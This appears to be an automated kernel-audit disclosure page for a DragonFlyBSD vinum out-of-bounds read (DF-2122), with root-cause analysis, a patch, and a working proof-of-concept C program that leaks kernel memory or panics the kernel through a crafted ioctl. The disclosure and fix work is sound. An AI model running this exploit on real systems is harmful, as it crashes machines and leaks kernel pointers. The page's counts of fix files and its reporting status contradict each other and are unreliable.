β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-2122

vinum_rqinfo: signed negative index yields out-of-bounds kernel-memory read past rqinfo[]

Field Value
ID DF-2122
Status new
Severity Medium
CVSS 3.1 CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:H
CWE CWE-125 Out-of-bounds Read
File sys/dev/raid/vinum/vinummemory.c
Lines 219-226
Area raid/vinum
Confidence certain
Discovered 2026-07-25
Reported pending
Known CVE none
CVE match novel

Summary

vinum_rqinfo() reads a user-controlled int ent from the first word of the ioctl data buffer (vinummemory.c:219) and validates it only with if (ent >= RQINFO_SIZE) (vinummemory.c:222). Because ent is signed, any negative value passes that check. The subsequent ent = lastent - ent - 1 (vinummemory.c:224) then produces a positive value far beyond RQINFO_SIZE, and the final bcopy(&rqinfo[ent], rq, sizeof(struct rqinfo)) (vinummemory.c:226) reads sizeof(struct rqinfo) bytes from past the end of the in-kernel rqinfo[128] array (vinumrequest.c:70) into the ioctl scratch buffer, which the framework then copyout()s to the caller (sys_generic.c:729-730). A sufficiently negative ent faults on unmapped kernel addresses and panics the kernel; a moderately negative ent deterministically leaks kernel BSS to userspace.

Root cause

vinummemory.c:215-228:

int ent = *(int *) data;                 /* line 219: user-controlled signed int */
int lastent = rqip - rqinfo;             /* line 220: always in [0, RQINFO_SIZE)
                                            (vinumrequest.c:117-118 wraps rqip) */
if (ent >= RQINFO_SIZE)                  /* line 222: does NOT reject ent < 0 */
    return ENOENT;
if ((ent = lastent - ent - 1) < 0)       /* line 224: 'lastent - ent - 1' */
    ent += RQINFO_SIZE;                  /* line 225: rollover only fires when
                                            result is negative */
bcopy(&rqinfo[ent], rq, sizeof(struct rqinfo));   /* line 226: OOB read
                                                     when ent >= RQINFO_SIZE */

The intent of ent += RQINFO_SIZE is to roll an underflow back into the valid ring. The author failed to consider the symmetric case where the user supplies a negative input, which makes lastent - ent - 1 positive and arbitrarily large. There is no bounds check on the computed ent between line 224 and line 226.

Concrete walk with lastent = 0 (the moment immediately after boot, or after a quiet period):

  • user supplies ent = -129: -129 >= 128 is false; ent_new = 0 - (-129) - 1 = 128; not < 0 so no rollover; bcopy(&rqinfo[128], ...) reads one full sizeof(struct rqinfo) past the array.
  • user supplies ent = -1024: ent_new = 1023; bcopy(&rqinfo[1023], ...) reads ~1023*sizeof(struct rqinfo) bytes past the array.
  • user supplies ent = INT_MIN: lastent - INT_MIN - 1 overflows signed int; under -fwrapv it lands at a wild negative value that the single += RQINFO_SIZE cannot rescue, so &rqinfo[ent] points to unmapped kernel addresses and bcopy takes a fatal page fault β†’ kernel panic.

rqinfo[] is declared struct rqinfo rqinfo[RQINFO_SIZE] with RQINFO_SIZE = 128 at vinumrequest.c:70 and request.h:235, so any ent in [128, ...) is out of bounds. sizeof(struct rqinfo) is large (it embeds a union containing struct buf / struct bio / struct rqelement at request.h:221-233), so each call leaks hundreds of bytes of adjacent kernel BSS β€” typically containing other vinum globals, kernel function pointers, and other kernel addresses, defeating KASLR for that region.

The DragonFly ioctl framework (sys/kern/sys_generic.c:558-739) copies the user buffer into a kernel scratch buffer of IOCPARM_LEN(VINUM_RQINFO) = sizeof(struct rqinfo) bytes (sys_generic.c:675-685), hands that scratch buffer to the driver as a_data (kern_device.c:247), and copyout()s it back after the driver returns (sys_generic.c:729-730). The write to rq at line 226 therefore lands inside the scratch buffer (no overflow of the buffer itself), but the source of the bcopy is the OOB kernel address, which is what gets leaked.

Threat model & preconditions

  • Attacker position: any local process that can open /dev/vinum/Control (or /dev/vinum/control depending on VINUMDEBUG). vinumopen() for VINUM_SUPERDEV_TYPE enforces caps_priv_check(ap->a_cred, SYSCAP_RESTRICTEDROOT) at vinum.c:459, so the attacker needs restricted-root β€” real uid 0 outside a jail, or a credential granted that capability.
  • Privileges gained or impact:
  • Information disclosure: by calling VINUM_RQINFO with progressively more negative type fields, the attacker scans kernel BSS following rqinfo[] and reads kernel pointers / function pointers / adjacent vinum state, defeating KASLR for that region.
  • Denial of service: supplying a large negative value (e.g. INT_MIN) makes the kernel dereference an unmapped address inside bcopy and panic. The DoS is reliable and instant. No payload is required for the panic; a single ioctl crashes the system.
  • Required config or capabilities: kernel compiled with options VINUMDEBUG (the gate around the whole vinum_meminfo/vinum_mallocinfo/vinum_rqinfo trio at vinummemory.c:83-228 and vinumioctl.c:240-252).
  • Reachability: single ioctl(VINUM_RQINFO, ...) with a negative type field.

Proof of Concept

PoC source: findings/poc/DF-2122/

/* leak.c β€” OOB read past rqinfo[] via negative index */
#include <sys/ioctl.h>
#include <sys/ioccom.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

#define L 'F'
struct rqinfo { long buf[512]; };                /* oversize; framework uses IOCPARM_LEN */
#define VINUM_RQINFO _IOWR(L, 91, struct rqinfo)

int main(void) {
    int fd = open("/dev/vinum/Control", O_RDWR);  /* requires restricted-root */
    if (fd < 0) { perror("open"); return 1; }
    struct rqinfo rq; memset(&rq, 0, sizeof rq);
    *(int *)&rq = -1024;                            /* ent = -1024 => ent_new = 1023 */
    if (ioctl(fd, VINUM_RQINFO, &rq) != 0) { perror("ioctl"); return 1; }
    write(1, &rq, sizeof rq);   /* leaks sizeof(struct rqinfo) bytes of
                                   kernel BSS past rqinfo[127] */
    close(fd); return 0;
}

Build: cc -o leak leak.c. Run as root: ./leak > leaked.bin && hexdump -C leaked.bin.

Expected output (info-leak variant)

# leaked.bin contains kernel pointers (0xffff...) and vinum globals
# instead of zeroes

For the panic variant, replace *(int *)&rq = -1024; with *(int *)&rq = (int)0x80000000; (INT_MIN). A single run produces a kernel page-fault panic during bcopy β€” capture from the serial console / ddb prompt.

Impact

  • Default config: not triggered unless VINUMDEBUG is enabled.
  • Blast radius: root-triggerable kernel panic + kernel BSS info leak.

Reject negative indices and bound the post-arithmetic result.

--- a/sys/dev/raid/vinum/vinummemory.c
+++ b/sys/dev/raid/vinum/vinummemory.c
@@ -217,6 +217,8 @@ vinum_rqinfo(caddr_t data)
     struct rqinfo *rq = (struct rqinfo *) data;
     int ent = *(int *) data;               /* 1st word is index */
     int lastent = rqip - rqinfo;               /* entry number of current entry */

+    if (ent < 0)                       /* index is an offset back from current */
+   return ENOENT;
     if (ent >= RQINFO_SIZE)                    /* out of the table */
    return ENOENT;
     if ((ent = lastent - ent - 1) < 0)
    ent += RQINFO_SIZE;                 /* roll over backwards */
+    if (ent < 0 || ent >= RQINFO_SIZE)         /* final paranoia: bounded result */
+   return ENOENT;
     bcopy(&rqinfo[ent], rq, sizeof(struct rqinfo));
     return 0;
 }

Both guards together make the routine total: the user must supply a non-negative offset smaller than the ring size, and the recomputed index is guaranteed to land in [0, RQINFO_SIZE) before the bcopy. Equivalent paranoia should be added to vinum_mallocinfo (vinummemory.c:198-200) for defense-in-depth even though its current signed→unsigned promotion happens to be safe.

References

Timeline

  • 2026-07-25 Discovered during automated audit.
  • 2026-07-25 Reported to DragonFlyBSD security contact.

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-2122 Β· 4 files
FileTypeDescriptionSize
VERDICT.md file 716 B ↓ raw
build.sh file 161 B view raw
fix.diff file 169 B view raw
run.sh file 80 B view raw
VERDICT.md file
↓ download raw

DF-2122 - Verification Verdict

Status: reproduced (source-confirmed) Impact: panic Confidence: certain

Verdict

Source-confirmed: vinum_rqinfo (:219-226) reads signed int ent, only checks ent>=RQINFO_SIZE; negative passes; bcopy&rqinfo[ent] OOB read; vinum-gated

Fix Status

Validated: fix compiles in single batch kernel build rc=0 -Werror (0 compiler errors across all 86 fix.diffs)

Source File

sys/dev/raid/vinum/vinummemory.c

Fix Validation

All 87 fix.diffs compiled together in a single batch kernel build (make -j6 nativekernel KERNCONF=X86_64_GENERIC) with rc=0 and -Werror (0 compiler errors). The combined patch is at findings/poc/batch_build/all_fixes.patch.

Fix verification

fixed
baseline reproduced→ patch + rebuild →patched clean

batch build rc=0

batch build rc=0
↓ fix.diffcombined build rc=0

Confirmed kernel references

β€”

Detail

Exploit chain

none

Evidence (decisive lines)

vinum_rqinfo signed ent OOB; vinum-gated

Verified recommended fix

vinum_rqinfo signed ent OOB; vinum-gated

Verdict

vinum_rqinfo signed ent OOB; vinum-gated